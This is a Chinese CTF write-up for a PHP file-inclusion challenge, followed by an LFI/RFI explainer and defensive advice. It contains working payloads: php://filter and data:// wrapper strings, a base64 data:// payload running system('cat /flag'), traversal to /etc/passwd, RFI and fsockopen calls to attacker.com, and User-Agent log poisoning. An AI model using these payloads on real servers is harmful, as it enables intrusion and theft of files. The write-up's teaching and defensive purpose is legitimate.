打开环境
首先代码审计阅读代码,有include()
函数并且有GET传参的file1
、file2
的两个参数,猜测是文件包含伪协议
题目
文件包含伪协议【攻防世界】 web | file_include详细题解WP-CSDN博客在我的一篇博客中有过一些详细的介绍,需要的话可以看看
核心突破点在于:
$file1
为include()
函数包含,$file2
为file_get_contents()
函数包含,include()
函数包含是我们常见的文件包含伪协议,这里重点介绍file_get_contents()
文件包含伪协议
file_get_contents()
用于将整个文件读入一个字符串,类似 readfile()
但返回内容而非直接输出。常用于:
$content = file_get_contents('/path/to/file.txt');
allow_url_fopen=On
):$content = file_get_contents('https://example.com/data.json');
这里构造payload:
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf
file2要用data://协议构造数据流,使它当作php文件,data://
伪协议的格式为
data://text/plain
base64解密即可得到flag
cyberpeace{e556212a081da9adbbc1065e148b63ab}
file_get_contents()
函数深度解析1. 核心功能
file_get_contents()
用于将整个文件读入一个字符串,类似 readfile()
但返回内容而非直接输出。常用于:
$content = file_get_contents('/path/to/file.txt');
allow_url_fopen=On
):$content = file_get_contents('https://example.com/data.json');
2. 关键参数
string file_get_contents ( string $filename [, bool $use_include_path = FALSE [, resource $context [, int $offset = 0 [, int $maxlen ]]]] )
$context
:自定义流上下文(可用于设置 HTTP 头、代理等)$offset
:从文件的指定位置开始读取$maxlen
:限制读取的最大字节数3. 特性总结
特性 | 详情 |
---|---|
支持 URL | 需 PHP.ini 开启 allow_url_fopen |
二进制安全 | 可读取图片、压缩包等非文本文件 |
上下文支持 | 通过 stream_context_create() 设置请求头、超时等 |
伪协议支持 | 可通过 php:// , data:// 等协议操作特殊资源 |
1. 本地文件包含(LFI)风险
漏洞场景:
// 未过滤的用户输入作为文件名
$file = $_GET['file'];
echo file_get_contents($file); // 可读取任意文件
常见绕过技巧:
?file=../../../../../etc/passwd
?file=php://filter/convert.base64-encode/resource=/etc/passwd
?file=secret.php%00.jpg
2. 远程文件包含(RFI)风险
条件:allow_url_fopen=On
且 allow_url_include=On
利用方式:
// 远程加载恶意PHP文件
?file=http://attacker.com/shell.php
3. 绕过常见过滤机制
过滤规则 | 绕过方法 |
---|---|
禁止 / 字符 |
使用 ..\ (Windows)或 URL 编码 / 为 %2f |
限制 .php 后缀 |
使用 php://input 或 data:// 协议 |
检查文件扩展名 | 利用 php://filter 协议读取非 PHP 文件并解析为 PHP:?file=php://filter/convert.base64-encode/resource=flag.php |
白名单验证 | 利用目录遍历突破限制:?file=allowed_dir/../../etc/passwd |
1. 利用 php://
伪协议
协议 | 用途 |
---|---|
php://input |
读取原始 POST 数据(可绕过文件存在检查):file=php://input + POST 请求体包含 PHP 代码 |
php://filter |
内容过滤(如 Base64 编码输出):file=php://filter/convert.base64-encode/resource=flag.php |
php://memory |
临时内存文件:file=php://memory + 通过上下文写入内容 |
2. 利用 data://
协议执行代码
// 直接执行PHP代码
?file=data://text/plain,
// Base64编码绕过过滤
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==
3. 日志注入攻击
若应用记录用户输入到日志文件(如 access.log
),可通过 HTTP 头注入 PHP 代码:
User-Agent:
然后通过 file_get_contents()
读取日志文件执行代码。
1. 输入验证与过滤
// 白名单验证(推荐)
$whitelist = ['file1.txt', 'file2.txt'];
if(!in_array($filename, $whitelist)) {
die('非法文件请求');
}
// 正则过滤(仅允许合法文件名)
if(!preg_match('/^[a-zA-Z0-9_.-]+$/', $filename)) {
die('文件名包含非法字符');
}
2. 禁用危险协议
在 php.ini
中配置:
allow_url_fopen = Off
allow_url_include = Off
3. 安全的文件路径处理
// 使用realpath()验证文件是否在允许目录内
$safeDir = '/var/www/uploads/';
$realPath = realpath($filename);
if(!$realPath || strpos($realPath, $safeDir) !== 0) {
die('禁止访问该文件');
}
4. 内容验证强化
// 验证文件类型而非扩展名
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($filename);
if($mimeType !== 'text/plain') {
die('文件类型不允许');
}
1. 漏洞扫描工具
Burp Suite:使用 Repeater 模块测试 LFI/RFI 漏洞
Wfuzz:自动化目录遍历测试
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 "http://target.com/index.php?file=FUZZ"
2. 防御测试工具
PHP 配置检查:
php -i | grep "allow_url_fopen"
安全编码辅助:使用 PHP_CodeSniffer 检测不安全的文件操作。
1. 安全使用准则
file_get_contents()
的参数2. 漏洞修复优先级
allow_url_fopen
和 allow_url_include
理解 file_get_contents()
的安全风险与绕过技术,是 CTF 竞赛和实际安全工作中的核心技能。通过系统化的防御措施,可以有效降低文件包含类漏洞的风险。
这是一道典型的PHP 文件包含漏洞结合任意文件读取的复合题目。核心突破点在于:
方法一:数据协议 (data://)
file2=data://text/plain,hello%20ctf
方法二:PHP 伪协议 (php://input)
POST请求:
file2=php://input
请求体:hello ctf
目标 1:读取 flag.php
file1=php://filter/convert.base64-encode/resource=flag.php
目标 2:执行 PHP 代码
file1=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==
GET /?file1=php://filter/convert.base64-encode/resource=flag.php&file2=data://text/plain,hello%20ctf
响应示例:
PD9waHAgJGZsYWcgPSAiY3Rme2ZsYWdfaGVyZV9hcmVfMjAyM30iOyA/Pg==
解码后:
GET /?file1=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==&file2=data://text/plain,hello%20ctf
cat /flag
命令// php.ini配置
allow_url_fopen = off
allow_url_include = off
// 白名单验证
$whitelist = ['/path/to/allowed/file1.php', '/path/to/allowed/file2.php'];
if(!in_array($file1, $whitelist)) {
die("非法文件");
}
// 使用更安全的文件验证方式
if(hash_file('sha256', $file2) === "预计算的哈希值") {
include($file1);
}
若 system () 等函数被禁用,可尝试:
// 利用fsockopen连接反弹shell
$fp = fsockopen("attacker.com", 1234, $errno, $errstr, 30);
fwrite($fp, "GET /shell.php HTTP/1.1\r\nHost: attacker.com\r\n\r\n");
若日志文件可访问,可通过 User-Agent 注入 PHP 代码:
User-Agent: <?php system('cat /flag');?>
file1=/var/log/apache2/access.log
本题考察了以下 CTF 核心技能:
在实战中,需注意:
建议使用工具辅助测试: